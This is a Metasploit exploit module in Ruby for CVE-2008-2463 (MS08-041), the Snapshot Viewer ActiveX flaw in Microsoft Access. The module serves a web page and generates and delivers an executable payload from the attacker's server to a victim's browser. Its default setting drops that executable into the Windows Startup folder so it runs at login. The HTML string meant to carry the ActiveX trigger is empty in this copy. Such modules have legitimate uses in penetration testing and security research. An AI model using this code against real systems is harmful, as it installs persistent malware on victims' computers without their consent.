## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Snapshot Viewer for Microsoft Access ActiveX Control Arbitrary File Download', 'Description' => %q{ This module allows remote attackers to place arbitrary files on a users file system via the Microsoft Office Snapshot Viewer ActiveX Control. }, 'License' => MSF_LICENSE, 'Author' => [ 'MC' ], 'References' => [ [ 'CVE', '2008-2463' ], [ 'OSVDB', '46749'], [ 'MSB', 'MS08-041' ], [ 'BID', '30114' ], ], 'Payload' => { 'Space' => 2048, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 07 2008')) register_options( [ OptString.new('PATH', [ true, 'The path to place the executable.', 'C:\\\\Documents and Settings\\\\All Users\\\\Start Menu\\\\Programs\\\\Startup\\\\']), ], self.class) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) payload_url = "http://" payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/payload" if (request.uri.match(/payload/)) return if ((p = regenerate_payload(cli)) == nil) data = generate_payload_exe({ :code => p.encoded }) print_status("Sending EXE payload") send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) return end vname = rand_text_alpha(rand(100) + 1) exe = rand_text_alpha(rand(20) + 1) content = %Q| | print_status("Sending #{self.name}") send_response_html(cli, content) handler(cli) end end